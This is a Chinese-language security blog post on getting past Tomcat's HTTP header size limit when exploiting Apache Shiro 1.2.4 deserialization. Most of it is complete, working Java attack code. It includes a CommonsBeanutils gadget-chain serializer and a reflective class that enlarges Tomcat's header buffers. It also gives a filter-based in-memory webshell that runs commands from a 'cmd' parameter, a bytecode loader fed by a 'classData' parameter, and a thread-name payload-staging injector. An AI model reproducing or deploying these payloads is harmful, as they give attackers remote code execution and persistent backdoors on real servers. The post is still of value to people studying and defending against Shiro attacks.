起因是在面试的时候被问到在打shiro的时候Header长度受限的时候该如何解决,因为没有了解这方面导致没答上来,赶紧来补一下。
tomcat的请求头是有一个默认长度限制的,我们可以在tomcat目录/webapps/docs/config
下的http.html文件中找到说明

这里说明了默认的header大小是8kb,这个是写死在代码里面的,下面调试可以看到
我们可以用javaee起一个tomcat服务,然后传一个很长的header

可以看到这里就给我们报了一个header too large
我们去看idea的报错

可以看到是在哪里发生的报错,去调试一下他的源码
想要调试源码可以根据tomcat的版本引入下面的依赖,比如我的版本是8.5.50
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.50</version> </dependency>
|
调试找到AbstractHttp11Protocol这个类

可以看到这里默认写为了8KB
配置调整
如果我们想要调整header的大小的话有下面两种方式
编辑server.xml
我们可以直接去编辑tomcat的conf目录下的server.xml文件,找到Connector,改成下面的形式即可
<Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" maxHttpHeaderSize="24576"/>
|
现在再去请求就不会报错了

springboot的内嵌Tomcat
针对springboot的内嵌tomcat我们可以直接在springboot的application.properties
或application.yml
配置文件来修改
server.tomcat.max-http-header-size=16384 # 设置请求头大小限制为16KB
|
server: tomcat: max-http-header-size: 16384
|
环境搭建
参考我之前的shiro反序列化的文章,直接将官方的版本回退到1.2.4起即可
https://github.com/apache/shiro/blob/shiro-root-1.2.4/
下面就看一下几种绕过长度限制的思路
我这里测试的Tomcat版本是8.5.5的
这个方法可以看一下这篇文章:https://mp.weixin.qq.com/s?__biz=MzIwMDk1MjMyMg==&mid=2247484799&idx=1&sn=42e7807d6ea0d8917b45e8aa2e4dba44
文章主要讲的是如何去打一个回显链,然后在打的中途会遇到header长度限制问题,获取request或者response的方法就是通过线程上下文类加载器获取,路径如下:
WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response
|
这里处理的方式就是去改变AbstractHttp11Protocol的maxHeaderSize大小,在我们前面的Header调试也看到过
然后我们最后接收maxHeaderSize并处理的是在inputBuffer的地方,前面报错堆栈有看到

我们修改了新的maxHeaderSize之后他会在新的inputBuffer中使用,但是由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize之后,需要多个连接同时访问,让tomcat新建request的inputbuffer,这时候的buffer的大小限制就会使用我们修改过后的值。
但是该方法可能不太稳定,连接数多的情况下他可能就不会去新建inputBuffer。
利用流程
直接用priorityQueue的那条链,依赖shiro的自身cb依赖的exp,exp模板如下
package org.clown.tomcatheadertest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.PriorityQueue;
public class CC11 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); byte[] evilBytecode = Files.readAllBytes(Paths.get("SizeChange.class")); setFieldValue(templates, "_bytecodes", new byte[][]{ evilBytecode }); setFieldValue(templates, "_name", "clown"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); priorityQueue.add("1"); priorityQueue.add("1"); setFieldValue(comparator, "property", "outputProperties"); setFieldValue(priorityQueue, "queue", new Object[]{templates, templates}); System.out.println(priorityQueue.size()); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(priorityQueue); oos.close(); FileOutputStream fileOutputStream = new FileOutputStream("ser.bin"); fileOutputStream.write(barr.toByteArray()); System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray())); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
然后就是一个动态注册filter的内存马恶意类,直接用的https://wjlshare.com/archives/1545这篇文章里面的
package org.clown.tomcatheadertest;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.catalina.core.StandardContext;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Map;
public class shiroExp extends AbstractTranslet implements Filter{
private final String cmdParamName = "cmd"; private final static String filterUrlPattern = "/*"; private final static String filterName = "evilFilter";
static { try {
Class c = Class.forName("org.apache.catalina.core.StandardContext");
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ServletContext servletContext = standardContext.getServletContext();
Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(filterName) == null){ java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); Filter MemShell = new shiroExp();
javax.servlet.FilterRegistration.Dynamic filterRegistration = servletContext .addFilter(filterName, MemShell); filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); filterRegistration .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{filterUrlPattern});
if (stateField != null) { stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED); }
if (standardContext != null){ Method filterStartMethod = org.apache.catalina.core.StandardContext.class .getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, null);
Class ccc = null; try { ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Throwable t){} if (ccc == null) { try { ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (Throwable t){} }
Method m = c.getMethod("findFilterMaps"); Object[] filterMaps = (Object[]) m.invoke(standardContext); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { Object o = filterMaps[i]; m = ccc.getMethod("getFilterName"); String name = (String) m.invoke(o); if (name.equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = o; } else { tmpFilterMaps[index++] = filterMaps[i]; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; }
} }
} catch (Exception e){ e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; System.out.println("Do Filter ......"); String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
} }
|
我们可以去打一下试试,肯定会报request too long

我们接下来要看看怎么去获取到maxHeaderSize
首先第一步我们就是要去找到org.apache.catalina.connector.Connector,因为Connector就是用来处理发过来的请求并封装成request,这在我以前的tomcat分析文章里面有说过

里面就有两个connector,我们要找的就是处理HTTP的
然后我们看maxHeaderSize封装在了哪里

可以看到是在org.apache.coyote.http11.Http11NioProtocol这个类里面,然后这个类往上找他的父类就是我们前面说到的AbstractHttp11Protocol类,所以他才有maxHeaderSize这个属性,所以我们可以获取到这个protocolHandler之后直接修改即可
但是文章中的payload除了修改maxHeaderSize,还修改了每个request中的inputBuffer中的headerBufferSize

猜测也许是保证其复用inputBuffer的时候用的也是新的size,提高成功率,我在打的时候也只需要打一次就能成功,不需要打多次
先给出利用链
这是修改headerBufferSize的
Thread.currentThread().getContextClassLoader() → WebappClassLoaderBase → Context → ApplicationContext → StandardService → Connector → ProtocolHandler → ConnectionHandler → RequestGroupInfo → Processors (List) → Request → InputBuffer → headerBufferSize
|
如果我们要修改maxHttpHeaderSize只需要在获取到ProtocolHandler这一步停下即可,修改的payload如下
package org.clown.tomcatheadertest;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
@SuppressWarnings("all") public class SizeChange extends AbstractTranslet {
static { try { java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize"); java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); contextField.setAccessible(true); headerSizeField.setAccessible(true); serviceField.setAccessible(true); requestField.setAccessible(true); getHandlerMethod.setAccessible(true); org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); for (int i = 0; i < connectors.length; i++) { if (4 == connectors[i].getScheme().length()) { org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); for (int j = 0; j < classes.length; j++) { if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) { java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); globalField.setAccessible(true); processorsField.setAccessible(true); org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null)); java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); for (int k = 0; k < list.size(); k++) { org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); headerSizeField.set(tempRequest.getInputBuffer(),20000); } } } ((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(20000); } } } } catch (Exception e) { } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
我们一边打一边调试去看一下
先打第一部分修改长度的exp,然后打第二部分的内存马注入

打完第一部分后看第二部分的过程

可以看到headerBufferSize已经被我们修改成了20000了,此时还没有开新的buffer,所以我才猜测这是为了提高成功率
但是看网上都是需要高并发量才行,我测试不需要高并发也能成功

我们的内存马也是正常生效了
分离payload和动态类加载
这里的思路就是分成两部分,放在cookie那一部分的payload功能是用来动态加载字节码的,然后他的操作就是看request对象里面有没有特定的特征,比如特定参数之类的,如果有就获取其内容然后进行一个字节码的加载,这样我们就可以将payload分成两部分进行了。
这里一开始用的是https://wjlshare.com/archives/1545这篇文章里的loader,但是发现超长度了

需要改一下request的获取方式,使用的这个师傅里的方式:https://godownio.github.io/2025/04/15/shiro-fan-xu-lie-hua-tu-po-chang-du-xian-zhi/#defineClass-POST
这里找Request的链子也是用以前看到的Java-object-search这个项目,然后选一个比较短的链子,用的下面的链子
TargetObject = {org.apache.tomcat.util.threads.TaskThread} ---> group = {java.lang.ThreadGroup} ---> threads = {class [Ljava.lang.Thread;} ---> [14] = {java.lang.Thread} ---> target = {org.apache.tomcat.util.net.NioEndpoint$Poller} ---> this$0 = {org.apache.tomcat.util.net.NioEndpoint} ---> handler = {org.apache.coyote.AbstractProtocol$ConnectionHandler} ---> global = {org.apache.coyote.RequestGroupInfo} ---> processors = {java.util.ArrayList<org.apache.coyote.RequestInfo>} ---> [0] = {org.apache.coyote.RequestInfo}
|
Loader的代码如下,直接copy师傅的payload了:
package org.clown.tomcatheadertest;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.Base64; import java.util.Iterator;
public class LoaderInject extends AbstractTranslet { public LoaderInject() { try { Object jioEndPoint = GetAcceptorThread(); Object object = getField(getField(jioEndPoint, "handler"), "global"); ArrayList processors = (ArrayList) getField(object, "processors"); Iterator iterator = processors.iterator(); while (iterator.hasNext()) { Object next = iterator.next(); Object req = getField(next, "req"); Object serverPort = getField(req, "serverPort"); if (serverPort.equals(-1)) { continue; } org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) req).getNote(1); String bs64_data = request.getParameter("classData"); if(bs64_data != null){ byte[] bytes = Base64.getDecoder().decode(bs64_data); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class}); defineClassMethod.setAccessible(true); Class clazz = (Class) defineClassMethod.invoke(LoaderInject.class.getClassLoader(), bytes, 0, bytes.length); clazz.newInstance(); } } } catch (Exception e) { e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static Object getField(Object object, String fieldName) { Field declaredField; Class clazz = object.getClass(); while (clazz != Object.class) { try { declaredField = clazz.getDeclaredField(fieldName); declaredField.setAccessible(true); return declaredField.get(object); } catch (NoSuchFieldException e) { } catch (IllegalAccessException e) { } clazz = clazz.getSuperclass(); } return null; }
public static Object GetAcceptorThread() { Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"); for (Thread thread : threads) { if (thread == null || thread.getName().contains("exec")) { continue; } if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) { Object target = getField(thread, "target"); Object jioEndPoint = null; try { jioEndPoint = getField(target, "this$0"); } catch (Exception e) { } if (jioEndPoint == null) { try { jioEndPoint = getField(target, "endpoint"); } catch (Exception e) { continue; } } return jioEndPoint; } } return null; }
}
|
整体逻辑就是从requesti里面获取classData参数里的payload进行base64解码之后进行一个类加载,这里的写法还需要你的url路径里面包含demo
这个payload逻辑差不多但是出来的长度只有7000,搜了一下字节码长度的差异这么大很大程度和代码的结构有关,例如前面超出长度的方法就有比较多显式的反射调用以及一些重复的代码逻辑等,这些都会增加字节码的长度
然后我们的内存马用前面的filter内存马即可


成功打入,记得classData的数据需要urlencode
这里有个地方被坑惨了,因为我们classData的payload需要变为一行,我用了下面的命令来删除换行
cat shiroExp.class | base64 | tr -d "\n"
|
但是发现他没删干净,我放进txt编辑器里面,发现他的行数不止一行,导致我一直base64解码不合法
那就放进cyberchef来删除换行了

用remove whitespace来移除换行,还是蛮方便的。
分散发包
这是y4师傅的思路,膜拜orz
我们上面的方法其实payload还是不够短,分离payload的方法其长度也接近8192了,如果有waf将长度限制得更短就不行了
这里的思路就是分多次来发送payload,那就需要全局有个变量能够一直存储我们的payload,这里利用的就是线程对象的名字
我们可以看一下tomcat会有多少个线程
package org.clown.tomcatheadertest;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class InjectTest extends AbstractTranslet { public InjectTest() throws IOException { ThreadGroup group = Thread.currentThread().getThreadGroup(); int count = group.activeCount(); Thread[] threads = new Thread[count]; group.enumerate(threads); for (Thread t : threads) { System.out.println("Thread: " + t.getName() + " (" + t.getState() + ")"); } System.out.println("Current Thread: "+Thread.currentThread().getName()); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|

可以看到有多个线程,所以我们的流程就是先修改一个线程对象的名字为特殊的名字作为标记,然后我们就可以去遍历所有的线程,往我们的标记的线程上面去添加payload,最后base64解码对线程对象名进行类加载
其payload如下:
package org.clown.tomcatheadertest;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class ThreadInject extends AbstractTranslet { public ThreadInject() throws Exception{
ThreadGroup group = Thread.currentThread().getThreadGroup(); int count = group.activeCount(); Thread[] threads = new Thread[count]; group.enumerate(threads); for (Thread t : threads) { if(t.getName().contains("clown")){ String Payload1 = "";
t.setName(t.getName()+Payload1);
} }
} @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }
|
我们分多段慢慢打入即可,最后我们的线程名变成下面的样子

这里试了几次没打通,可能中间步骤出了什么问题(毕竟是人手打的,没写自动化利用脚本),但思路是对的,就不再试了
参考
https://y4tacker.github.io/2022/04/14/year/2022/4/%E6%B5%85%E8%B0%88Shiro550%E5%8F%97Tomcat-Header%E9%95%BF%E5%BA%A6%E9%99%90%E5%88%B6%E5%BD%B1%E5%93%8D%E7%AA%81%E7%A0%B4/
https://cloud.tencent.com/developer/article/2409711
https://wjlshare.com/archives/1545
https://www.geekby.site/2021/10/shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#62-%E6%97%A0%E4%BE%9D%E8%B5%96%E7%9A%84-shiro-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-gadget
https://www.qwzf.top/2023/02/21/%E6%B5%85%E6%9E%90Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Payload%E9%95%BF%E5%BA%A6%E7%BB%95%E8%BF%87/